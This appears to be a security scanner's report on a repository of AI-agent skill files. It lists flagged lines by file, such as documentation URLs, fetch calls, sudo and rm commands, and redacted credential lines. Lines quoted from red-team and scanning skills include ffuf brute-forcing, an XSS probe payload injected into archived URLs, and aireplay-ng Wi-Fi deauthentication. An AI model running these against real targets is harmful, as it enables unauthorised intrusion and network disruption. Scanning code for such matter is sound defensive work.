Changelog = "https://github.com/username/my-awesome-package/blob/main/CHANGELOG.md" - Network accessline 435
# Install from TestPyPI to test pip install --index-url https://test.pypi.org/simple/ my-package - Network accessline 436
pip install --index-url https://test.pypi.org/simple/ my-package - Dangerous shell operationline 683
rm -rf test-env - Network accessline 693
[](https://pypi.org/project/my-package/) - Network accessline 694
[](https://pypi.org/project/my-package/) - Network accessline 695
[](https://github.com/username/my-package/actions) - Network accessline 721
Full documentation: https://my-package.readthedocs.io - Network accessline 726
git clone https://github.com/username/my-package.git - Network accessline 769
# Install from private index pip install my-package --index-url https://private.pypi.org/simple/ - Network accessline 770
pip install my-package --index-url https://private.pypi.org/simple/ - Network accessline 772
# Or add to pip.conf [global] index-url = https://private.pypi.org/simple/ - Network accessline 773
[global] index-url = https://private.pypi.org/simple/ extra-index-url = https://pypi.org/simple/ - Network accessline 774
index-url = https://private.pypi.org/simple/ - Network accessline 775
extra-index-url = https://pypi.org/simple/ - Network accessline 777
# Upload to private index twine upload --repository-url https://private.pypi.org/ dist/* - Network accessline 778
twine upload --repository-url https://private.pypi.org/ dist/* - Network accessline 851
- **Python Packaging Guide**: https://packaging.python.org/ - Network accessline 852
- **PyPI**: https://pypi.org/ - Network accessline 853
- **TestPyPI**: https://test.pypi.org/ - Network accessline 854
- **setuptools documentation**: https://setuptools.pypa.io/ - Network accessline 855
- **build**: https://pypa-build.readthedocs.io/ - Network accessline 856
- **twine**: https://twine.readthedocs.io/
skills/python-patterns/SKILL.md
- Network accessline 395
@pytest.mark.asyncio async def test_endpoint(): async with AsyncClient(app=app, base_url="http://test") as client: - Network accessline 396
async def test_endpoint(): async with AsyncClient(app=app, base_url="http://test") as client: response = await client.get("/users") - Network accessline 397
async with AsyncClient(app=app, base_url="http://test") as client:
skills/python-performance-optimization/resources/implementation-playbook.md
- Network accessline 563
urls = [ "https://httpbin.org/delay/1", - Network accessline 564
"https://httpbin.org/delay/1", - Network accessline 565
"https://httpbin.org/delay/1", - Network accessline 566
"https://httpbin.org/delay/1", - Network accessline 567
"https://httpbin.org/delay/1", - Network accessline 573
results = [] for url in urls: response = requests.get(url) - Network accessline 574
for url in urls: response = requests.get(url) results.append(response.status_code) - Network accessline 575
response = requests.get(url) - Network accessline 586
"""Asynchronous HTTP requests.""" start = time.time() async with aiohttp.ClientSession() as session: - Network accessline 587
start = time.time() async with aiohttp.ClientSession() as session: tasks = [async_fetch(session, url) for url in urls] - Network accessline 588
async with aiohttp.ClientSession() as session:
skills/python-testing-patterns/resources/implementation-playbook.md
- Access to secretsline 181
[Credential-related source omitted] - Network accessline 265
def get_user(self, user_id: int) -> dict: """Fetch user from API.""" response = requests.get(f"{self.base_url}/users/{user_id}") - Network accessline 266
"""Fetch user from API.""" response = requests.get(f"{self.base_url}/users/{user_id}") response.raise_for_status() - Network accessline 267
response = requests.get(f"{self.base_url}/users/{user_id}") - Network accessline 271
def create_user(self, data: dict) -> dict: """Create new user.""" response = requests.post(f"{self.base_url}/users", json=data) - Network accessline 272
"""Create new user.""" response = requests.post(f"{self.base_url}/users", json=data) response.raise_for_status() - Network accessline 273
response = requests.post(f"{self.base_url}/users", json=data) - Network accessline 278
def test_get_user_success(): """Test successful API call with mock.""" client = APIClient("https://api.example.com") - Network accessline 280
client = APIClient("https://api.example.com") - Network accessline 289
assert user["id"] == 1 assert user["name"] == "John Doe" mock_get.assert_called_once_with("https://api.example.com/users/1") - Network accessline 291
mock_get.assert_called_once_with("https://api.example.com/users/1") - Network accessline 294
def test_get_user_not_found(): """Test API call with 404 error.""" client = APIClient("https://api.example.com") - Network accessline 296
client = APIClient("https://api.example.com") - Network accessline 298
mock_response = Mock() mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found") - Network accessline 299
mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found") - Network accessline 307
def test_create_user(mock_post): """Test user creation with decorator syntax.""" client = APIClient("https://api.example.com") - Network accessline 309
client = APIClient("https://api.example.com") - Network accessline 380
async def test_fetch_data(): """Test async function.""" result = await fetch_data("https://api.example.com") - Network accessline 381
"""Test async function.""" result = await fetch_data("https://api.example.com") assert result["url"] == "https://api.example.com" - Network accessline 382
result = await fetch_data("https://api.example.com") - Network accessline 383
assert result["url"] == "https://api.example.com" - Access to secretsline 421
[Credential-related source omitted] - Access to secretsline 447
[Credential-related source omitted] - Access to secretsline 449
[Credential-related source omitted] - Access to secretsline 450
[Credential-related source omitted] - Access to secretsline 456
[Credential-related source omitted] - Access to secretsline 457
[Credential-related source omitted] - Network accessline 888
- **pytest documentation**: https://docs.pytest.org/ - Network accessline 889
- **unittest.mock**: https://docs.python.org/3/library/unittest.mock.html
skills/radix-ui-design-system/SKILL.md
- Network accessline 805
### Official Documentation - [Radix UI Docs](https://www.radix-ui.com/primitives) - Network accessline 806
- [Radix UI Docs](https://www.radix-ui.com/primitives) - Network accessline 807
- [Radix Colors](https://www.radix-ui.com/colors) - Accessible color system - Network accessline 808
- [Radix Icons](https://www.radix-ui.com/icons) - Icon library - Network accessline 810
### Community Resources - [shadcn/ui](https://ui.shadcn.com) - Component collection - Network accessline 811
- [shadcn/ui](https://ui.shadcn.com) - Component collection - Network accessline 812
- [Radix UI Discord](https://discord.com/invite/7Xb99uG) - Community support - Network accessline 813
- [CVA Documentation](https://cva.style/docs) - Variant management - Network accessline 815
### Examples - [Radix Playground](https://www.radix-ui.com/primitives/docs/overview/introduction#try-it-out) - Network accessline 816
- [Radix Playground](https://www.radix-ui.com/primitives/docs/overview/introduction#try-it-out) - Network accessline 817
- [shadcn/ui Source](https://github.com/shadcn-ui/ui) - Production examples
skills/radix-ui-design-system/examples/README.md
skills/radix-ui-design-system/examples/dialog-example.tsx
- Executable scriptline 1
Executable file
skills/radix-ui-design-system/examples/dropdown-example.tsx
- Executable scriptline 1
Executable file
skills/radix-ui-design-system/templates/component-template.tsx
- Executable scriptline 1
Executable file
skills/rag-implementation/SKILL.md
skills/react-best-practices/AGENTS.md
- Network accessline 191
Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all) - Network accessline 410
Reference: [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js) - Network accessline 600
**With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests - Network accessline 604
Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache) - Network accessline 809
Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after) - Network accessline 899
const [users, setUsers] = useState([]) useEffect(() => { fetch('/api/users') - Network accessline 900
useEffect(() => { fetch('/api/users') .then(r => r.json()) - Network accessline 901
fetch('/api/users') - Network accessline 939
Reference: [https://swr.vercel.app](https://swr.vercel.app) - Network accessline 1022
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders. - Network accessline 1166
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu - Network accessline 1383
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary. - Network accessline 1763
Reference: [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast) - Network accessline 2243
1. [https://react.dev](https://react.dev) - Network accessline 2244
2. [https://nextjs.org](https://nextjs.org) - Network accessline 2245
3. [https://swr.vercel.app](https://swr.vercel.app) - Network accessline 2246
4. [https://github.com/shuding/better-all](https://github.com/shuding/better-all) - Network accessline 2247
5. [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache) - Network accessline 2248
6. [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js) - Network accessline 2249
7. [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
skills/react-best-practices/README.md
skills/react-best-practices/metadata.json
- Network accessline 5
"abstract": "Comprehensive performance optimization guide for React and Next.js applications, designed for AI agents and LLMs. Contains 40+ rules across 8 categories, prioritized by impact from critical (eliminating waterfalls, reducing bun - Network accessline 6
"references": [ "https://react.dev", "https://nextjs.org", - Network accessline 7
"https://react.dev", - Network accessline 8
"https://nextjs.org", - Network accessline 9
"https://swr.vercel.app", - Network accessline 10
"https://github.com/shuding/better-all", - Network accessline 11
"https://github.com/isaacs/node-lru-cache", - Network accessline 12
"https://vercel.com/blog/how-we-optimized-package-imports-in-next-js", - Network accessline 13
"https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast"
skills/react-best-practices/rules/_template.md
- Network accessline 28
Reference: [Link to documentation or resource](https://example.com)
skills/react-best-practices/rules/async-dependencies.md
- Network accessline 36
Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
skills/react-best-practices/rules/bundle-barrel-imports.md
- Network accessline 59
Reference: [How we optimized package imports in Next.js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
skills/react-best-practices/rules/client-swr-dedup.md
skills/react-best-practices/rules/js-cache-function-results.md
- Network accessline 80
Reference: [How we made the Vercel Dashboard twice as fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
skills/react-best-practices/rules/rendering-hoist-jsx.md
- Network accessline 46
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.
skills/react-best-practices/rules/rerender-functional-setstate.md
- Network accessline 74
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu
skills/react-best-practices/rules/rerender-memo.md
- Network accessline 44
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.
skills/react-best-practices/rules/server-after-nonblocking.md
- Network accessline 73
Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)
skills/react-best-practices/rules/server-cache-lru.md
- Network accessline 37
**With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests - Network accessline 41
Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
skills/react-modernization/resources/implementation-playbook.md
- Network accessline 104
fetchData = async () => { const data = await fetch(`/api/${this.props.id}`); - Network accessline 105
const data = await fetch(`/api/${this.props.id}`); - Network accessline 127
const fetchData = async () => { try { const response = await fetch(`/api/${id}`); - Network accessline 128
try { const response = await fetch(`/api/${id}`); const result = await response.json(); - Network accessline 129
const response = await fetch(`/api/${id}`);
skills/react-native-architecture/resources/implementation-playbook.md
- Network accessline 667
- [Expo Documentation](https://docs.expo.dev/) - Network accessline 668
- [Expo Router](https://docs.expo.dev/router/introduction/) - Network accessline 669
- [React Native Performance](https://reactnative.dev/docs/performance) - Network accessline 670
- [FlashList](https://shopify.github.io/flash-list/)
skills/react-state-management/SKILL.md
- Network accessline 154
async (userId: string, { rejectWithValue }) => { try { const response = await fetch(`/api/users/${userId}`) - Network accessline 155
try { const response = await fetch(`/api/users/${userId}`) if (!response.ok) throw new Error('Failed to fetch user') - Network accessline 156
const response = await fetch(`/api/users/${userId}`) - Network accessline 266
const user = get(userAtom) if (!user) return null const response = await fetch(`/api/users/${user.id}/profile`) - Network accessline 267
if (!user) return null const response = await fetch(`/api/users/${user.id}/profile`) return response.json() - Network accessline 268
const response = await fetch(`/api/users/${user.id}/profile`) - Network accessline 440
- [Redux Toolkit Documentation](https://redux-toolkit.js.org/) - Network accessline 441
- [Zustand GitHub](https://github.com/pmndrs/zustand) - Network accessline 442
- [Jotai Documentation](https://jotai.org/) - Network accessline 443
- [TanStack Query](https://tanstack.com/query)
skills/readme/SKILL.md
- Network accessline 2
name: readme description: "When the user wants to create or update a README.md file for a project. Also use when the user says 'write readme,' 'create readme,' 'document this project,' 'project documentation,' or asks for he..." source: "ht - Network accessline 3
description: "When the user wants to create or update a README.md file for a project. Also use when the user says 'write readme,' 'create readme,' 'document this project,' 'project documentation,' or asks for he..." source: "https://github. - Network accessline 4
source: "https://github.com/Shpigford/skills/tree/main/readme" - Network accessline 159
\`\`\`bash git clone https://github.com/user/repo.git - Network accessline 160
git clone https://github.com/user/repo.git - Access to secretsline 183
[Credential-related source omitted] - Network accessline 238
Open [http://localhost:3000](http://localhost:3000) in your browser. - Access to secretsline 402
[Credential-related source omitted] - Dangerous shell operationline 702
sudo systemctl restart myapp - Dangerous shell operationline 758
sudo apt-get install libpq-dev - Dangerous shell operationline 771
2. Or regenerate credentials: `rm config/credentials.yml.enc && bin/rails credentials:edit` - Dangerous shell operationline 782
rm -rf node_modules/.vite - Dangerous shell operationline 786
rm -rf node_modules && yarn install
skills/red-team-tactics/SKILL.md
- Dangerous shell operationline 95
| Sudo misconfiguration | Command execution |
skills/red-team-tools/SKILL.md
- Network accessline 50
# Alternative ASN lookup curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search" - Network accessline 51
curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search" - Network accessline 119
# Directory bruteforce with ffuf ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt - Network accessline 120
ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt - Network accessline 166
# Alternative workflow waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -q 'alert(1)' && echo "$url" - Network accessline 167
waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -q 'alert(1)' && echo "$url" done > potential_xss.txt - Network accessline 168
curl -s "$url" | grep -q 'alert(1)' && echo "$url" - Network accessline 190
# Enumerate API endpoints ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt - Network accessline 191
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt - Network accessline 193
# Test API versions ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt - Network accessline 194
ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt - Network accessline 195
ffuf -u https://target.com/api/v2/FUZZ -w api_wordlist.txt - Network accessline 197
# Check for hidden methods for method in GET POST PUT DELETE PATCH; do curl -X $method https://target.com/api/users -v - Network accessline 198
for method in GET POST PUT DELETE PATCH; do curl -X $method https://target.com/api/users -v done - Network accessline 199
curl -X $method https://target.com/api/users -v
skills/reddit-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/remotion-best-practices/rules/assets.md
skills/remotion-best-practices/rules/assets/charts-bar-chart.tsx
- Executable scriptline 1
Executable file
skills/remotion-best-practices/rules/assets/text-animations-typewriter.tsx
- Executable scriptline 1
Executable file
skills/remotion-best-practices/rules/assets/text-animations-word-highlight.tsx
- Executable scriptline 1
Executable file
skills/remotion-best-practices/rules/audio.md
- Network accessline 38
<Audio src="https://remotion.media/audio.mp3" />
skills/remotion-best-practices/rules/calculate-metadata.md
- Network accessline 13
<Composition id="MyComp" component={MyComponent} durationInFrames={300} fps={30} width={1920} height={1080} defaultProps={{videoSrc: 'https://remotion.media/video.mp4'}} calculateMetadata={calculateMetadata} /> - Network accessline 79
const calculateMetadata: CalculateMetadataFunction<Props> = async ({props, abortSignal}) => { const response = await fetch(props.dataUrl, {signal: abortSignal}); - Network accessline 80
const response = await fetch(props.dataUrl, {signal: abortSignal});
skills/remotion-best-practices/rules/can-decode.md
- Network accessline 50
const src = "https://remotion.media/video.mp4";
skills/remotion-best-practices/rules/compositions.md
- Network accessline 115
abortSignal, }) => { const data = await fetch(`https://api.example.com/video/${props.videoId}`, { - Network accessline 116
}) => { const data = await fetch(`https://api.example.com/video/${props.videoId}`, { signal: abortSignal, - Network accessline 117
const data = await fetch(`https://api.example.com/video/${props.videoId}`, {
skills/remotion-best-practices/rules/extract-frames.md
- Network accessline 108
await extractFrames({ src: "https://remotion.media/video.mp4", - Network accessline 109
src: "https://remotion.media/video.mp4", - Network accessline 131
await extractFrames({ src: "https://remotion.media/video.mp4", - Network accessline 132
src: "https://remotion.media/video.mp4", - Network accessline 170
try { await extractFrames({ src: "https://remotion.media/video.mp4", - Network accessline 171
await extractFrames({ src: "https://remotion.media/video.mp4", timestampsInSeconds: [0, 1, 2, 3, 4], - Network accessline 172
src: "https://remotion.media/video.mp4", - Network accessline 208
await Promise.race([ extractFrames({ src: "https://remotion.media/video.mp4", - Network accessline 209
extractFrames({ src: "https://remotion.media/video.mp4", timestampsInSeconds: [0, 1, 2, 3, 4], - Network accessline 210
src: "https://remotion.media/video.mp4",
skills/remotion-best-practices/rules/get-audio-duration.md
- Network accessline 33
const duration = await getAudioDuration("https://remotion.media/audio.mp3");
skills/remotion-best-practices/rules/get-video-dimensions.md
- Network accessline 40
const dimensions = await getVideoDimensions("https://remotion.media/video.mp4");
skills/remotion-best-practices/rules/get-video-duration.md
- Network accessline 33
const duration = await getVideoDuration("https://remotion.media/video.mp4");
skills/remotion-best-practices/rules/gifs.md
- Network accessline 25
<AnimatedImage src="https://example.com/animation.gif" width={500} height={500} />
skills/remotion-best-practices/rules/images.md
- Network accessline 57
<Img src="https://example.com/image.png" />
skills/remotion-best-practices/rules/import-srt-captions.md
- Network accessline 39
const fetchCaptions = useCallback(async () => { try { const response = await fetch(staticFile('subtitles.srt')); - Network accessline 40
try { const response = await fetch(staticFile('subtitles.srt')); const text = await response.text(); - Network accessline 41
const response = await fetch(staticFile('subtitles.srt')); - Network accessline 63
Remote URLs are also supported - you can `fetch()` a remote file via URL instead of using `staticFile()`.
skills/remotion-best-practices/rules/lottie.md
skills/remotion-best-practices/rules/tailwind.md
- Network accessline 11
Tailwind must be installed and enabled first in a Remotion project - fetch https://www.remotion.dev/docs/tailwind using WebFetch for instructions.
skills/remotion-best-practices/rules/transcribe-captions.md
- Network accessline 12
- `@remotion/install-whisper-cpp` - Transcribe locally on a server using Whisper.cpp. Fast and free, but requires server infrastructure. https://remotion.dev/docs/install-whisper-cpp - Network accessline 13
https://remotion.dev/docs/install-whisper-cpp - Network accessline 15
- `@remotion/whisper-web` - Transcribe in the browser using WebAssembly. No server needed and free, but slower due to WASM overhead. https://remotion.dev/docs/whisper-web - Network accessline 16
https://remotion.dev/docs/whisper-web - Network accessline 18
- `@remotion/openai-whisper` - Use OpenAI Whisper API for cloud-based transcription. Fast and no server needed, but requires payment. https://remotion.dev/docs/openai-whisper/openai-whisper-api-to-captions - Network accessline 19
https://remotion.dev/docs/openai-whisper/openai-whisper-api-to-captions
skills/remotion-best-practices/rules/videos.md
- Network accessline 36
<Video src="https://remotion.media/video.mp4" />
skills/render-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/risk-metrics-calculation/resources/implementation-playbook.md
- Network accessline 552
- [Risk Management and Financial Institutions (John Hull)](https://www.amazon.com/Risk-Management-Financial-Institutions-5th/dp/1119448115) - Network accessline 553
- [Quantitative Risk Management (McNeil, Frey, Embrechts)](https://www.amazon.com/Quantitative-Risk-Management-Techniques-Princeton/dp/0691166277) - Network accessline 554
- [pyfolio Documentation](https://quantopian.github.io/pyfolio/)
skills/rust-async-patterns/resources/implementation-playbook.md
- Network accessline 60
// Async operations let result = fetch_data("https://api.example.com").await?; - Network accessline 61
let result = fetch_data("https://api.example.com").await?; - Network accessline 514
- [Tokio Tutorial](https://tokio.rs/tokio/tutorial) - Network accessline 515
- [Async Book](https://rust-lang.github.io/async-book/) - Network accessline 516
- [Tokio Console](https://github.com/tokio-rs/console)
skills/saga-orchestration/SKILL.md
skills/salesforce-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/sast-configuration/SKILL.md
skills/scanning-tools/SKILL.md
- Dangerous shell operationline 117
sudo systemctl start nessusd - Network accessline 119
# Access web interface # https://localhost:8834 - Network accessline 120
# https://localhost:8834 - Dangerous shell operationline 142
sudo apt install openvas - Dangerous shell operationline 143
sudo gvm-setup - Dangerous shell operationline 146
sudo gvm-start - Network accessline 148
# Access web interface (Greenbone Security Assistant) # https://localhost:9392 - Network accessline 149
# https://localhost:9392 - Network accessline 201
# Automated scan from CLI zap-cli quick-scan https://target.com - Network accessline 202
zap-cli quick-scan https://target.com - Network accessline 204
# Full scan zap-cli spider https://target.com - Network accessline 205
zap-cli spider https://target.com - Network accessline 206
zap-cli active-scan https://target.com - Network accessline 217
# Docker-based scanning docker run -t owasp/zap2docker-stable zap-full-scan.py \ -t https://target.com -r report.html - Network accessline 218
docker run -t owasp/zap2docker-stable zap-full-scan.py -t https://target.com -r report.html - Network accessline 219
-t https://target.com -r report.html - Network accessline 221
# Baseline scan (passive only) docker run -t owasp/zap2docker-stable zap-baseline.py \ -t https://target.com -r report.html - Network accessline 222
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://target.com -r report.html - Network accessline 223
-t https://target.com -r report.html - Network accessline 231
# Basic scan nikto -h https://target.com - Network accessline 232
nikto -h https://target.com - Dangerous shell operationline 264
sudo airmon-ng start wlan0 - Dangerous shell operationline 267
sudo airodump-ng wlan0mon - Dangerous shell operationline 270
sudo airodump-ng -c <channel> --bssid <target_bssid> -w capture wlan0mon - Dangerous shell operationline 273
sudo aireplay-ng -0 10 -a <bssid> wlan0mon - Network accessline 293
# Access web interface # http://localhost:2501 - Network accessline 294
# http://localhost:2501 - Dangerous shell operationline 309
sudo freshclam - Dangerous shell operationline 413
sudo lynis audit system - Dangerous shell operationline 416
sudo lynis audit system --quick - Dangerous shell operationline 419
sudo lynis audit system --profile server - Dangerous shell operationline 422
sudo lynis audit system --report-file /tmp/lynis-report.dat - Dangerous shell operationline 425
sudo lynis show profiles - Dangerous shell operationline 426
sudo lynis audit system --tests-from-group malware
skills/schema-markup/SKILL.md
skills/screen-reader-testing/resources/implementation-playbook.md
- Network accessline 541
- [VoiceOver User Guide](https://support.apple.com/guide/voiceover/welcome/mac) - Network accessline 542
- [NVDA User Guide](https://www.nvaccess.org/files/nvda/documentation/userGuide.html) - Network accessline 543
- [JAWS Documentation](https://support.freedomscientific.com/Products/Blindness/JAWS) - Network accessline 544
- [WebAIM Screen Reader Survey](https://webaim.org/projects/screenreadersurvey/)
skills/screenshots/SKILL.md
- Network accessline 2
name: screenshots description: "Generate marketing screenshots of your app using Playwright. Use when the user wants to create screenshots for Product Hunt, social media, landing pages, or documentation." source: "https://github.com/Shpigfo - Network accessline 3
description: "Generate marketing screenshots of your app using Playwright. Use when the user wants to create screenshots for Product Hunt, social media, landing pages, or documentation." source: "https://github.com/Shpigford/skills/tree/mai - Network accessline 4
source: "https://github.com/Shpigford/skills/tree/main/screenshots" - Network accessline 39
Common default URLs to suggest: - `http://localhost:3000` (Next.js, Create React App, Rails) - Network accessline 40
- `http://localhost:3000` (Next.js, Create React App, Rails) - Network accessline 41
- `http://localhost:5173` (Vite) - Network accessline 42
- `http://localhost:4000` (Phoenix) - Network accessline 43
- `http://localhost:8080` (Vue CLI, generic) - Dangerous shell operationline 289
rm screenshot-script.mjs
skills/secrets-management/SKILL.md
- Network accessline 76
# Set environment export VAULT_ADDR='http://127.0.0.1:8200' - Network accessline 77
export VAULT_ADDR='http://127.0.0.1:8200' - Access to secretsline 78
[Credential-related source omitted] - Network accessline 101
uses: hashicorp/vault-action@v2 with: url: https://vault.example.com:8200 - Network accessline 102
[Credential-related source omitted] - Network accessline 103
url: https://vault.example.com:8200 - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Network accessline 120
image: vault:latest before_script: - export VAULT_ADDR=https://vault.example.com:8200 - Network accessline 121
[Credential-related source omitted] - Network accessline 122
[Credential-related source omitted] - Network accessline 123
[Credential-related source omitted] - Access to secretsline 123
[Credential-related source omitted] - Network accessline 124
- apk add curl jq - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Network accessline 292
provider: vault: server: "https://vault.example.com:8200" - Network accessline 293
vault: server: "https://vault.example.com:8200" path: "secret" - Network accessline 294
server: "https://vault.example.com:8200"
skills/security-bluebook-builder/SKILL.md
- Network accessline 2
name: security-bluebook-builder description: "Build security Blue Books for sensitive apps" source: "https://github.com/SHADOWPR0/security-bluebook-builder" - Network accessline 3
description: "Build security Blue Books for sensitive apps" source: "https://github.com/SHADOWPR0/security-bluebook-builder" risk: safe - Network accessline 4
source: "https://github.com/SHADOWPR0/security-bluebook-builder" - Network accessline 22
For more information, see the [source repository](https://github.com/SHADOWPR0/security-bluebook-builder).
skills/security-compliance-compliance-check/resources/implementation-playbook.md
skills/security-requirement-extraction/resources/implementation-playbook.md
- Network accessline 674
- [OWASP ASVS](https://owasp.org/www-project-application-security-verification-standard/) - Network accessline 675
- [NIST SP 800-53](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) - Network accessline 676
- [Security User Stories](https://www.oreilly.com/library/view/agile-application-security/9781491938836/)
skills/security-scanning-security-dependencies/resources/implementation-playbook.md
- Network accessline 469
return { "version": "2.1.0", "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", - Network accessline 470
"version": "2.1.0", "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", "runs": [{ - Network accessline 471
"$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json",
skills/security-scanning-security-sast/SKILL.md
- Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 266
[Credential-related source omitted] - Network accessline 289
[Credential-related source omitted] - Access to secretsline 289
[Credential-related source omitted] - Network accessline 291
CORS(app, origins=['https://example.com']) - Network accessline 303
app.use(helmet()); app.use(cors({ origin: 'https://example.com' })); - Network accessline 304
app.use(cors({ origin: 'https://example.com' }));
skills/security/aws-compliance-checker/SKILL.md
skills/security/aws-iam-best-practices/SKILL.md
- Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Network accessline 395
- [IAM Best Practices](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html) - Network accessline 396
- [IAM Policy Simulator](https://policysim.aws.amazon.com/) - Network accessline 397
- [IAM Access Analyzer](https://aws.amazon.com/iam/features/analyze-access/)
skills/security/aws-secrets-rotation/SKILL.md
- Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Network accessline 194
if step == "createSecret": # Create new Stripe key via API response = requests.post( - Network accessline 195
# Create new Stripe key via API response = requests.post( 'https://api.stripe.com/v1/api_keys', - Network accessline 196
response = requests.post( - Network accessline 197
'https://api.stripe.com/v1/api_keys', - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 203
[Credential-related source omitted] - Network accessline 211
elif step == "testSecret": # Test new key response = requests.get( - Network accessline 212
# Test new key response = requests.get( 'https://api.stripe.com/v1/balance', - Network accessline 213
response = requests.get( - Network accessline 214
'https://api.stripe.com/v1/balance', - Access to secretsline 215
[Credential-related source omitted] - Network accessline 221
# Revoke old key old_key = json.loads(current['SecretString'])['api_key'] requests.delete( - Network accessline 222
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Network accessline 223
requests.delete( - Network accessline 224
f'https://api.stripe.com/v1/api_keys/{old_key}', - Access to secretsline 225
[Credential-related source omitted] - Network accessline 463
- [AWS Secrets Manager Rotation](https://docs.aws.amazon.com/secretsmanager/latest/userguide/rotating-secrets.html) - Network accessline 464
- [Rotation Lambda Templates](https://github.com/aws-samples/aws-secrets-manager-rotation-lambdas) - Network accessline 465
- [Best Practices for Secrets](https://docs.aws.amazon.com/secretsmanager/latest/userguide/best-practices.html)
skills/security/aws-security-audit/SKILL.md
skills/segment-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/sendgrid-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/senior-architect/SKILL.md
- Access to secretsline 128
[Credential-related source omitted]
skills/senior-architect/scripts/architecture_diagram_generator.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/senior-architect/scripts/dependency_analyzer.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/senior-architect/scripts/project_architect.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/senior-fullstack/SKILL.md
- Access to secretsline 128
[Credential-related source omitted]
skills/senior-fullstack/scripts/code_quality_analyzer.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/senior-fullstack/scripts/fullstack_scaffolder.py
- Executable scriptline 1
#!/usr/bin/env python3
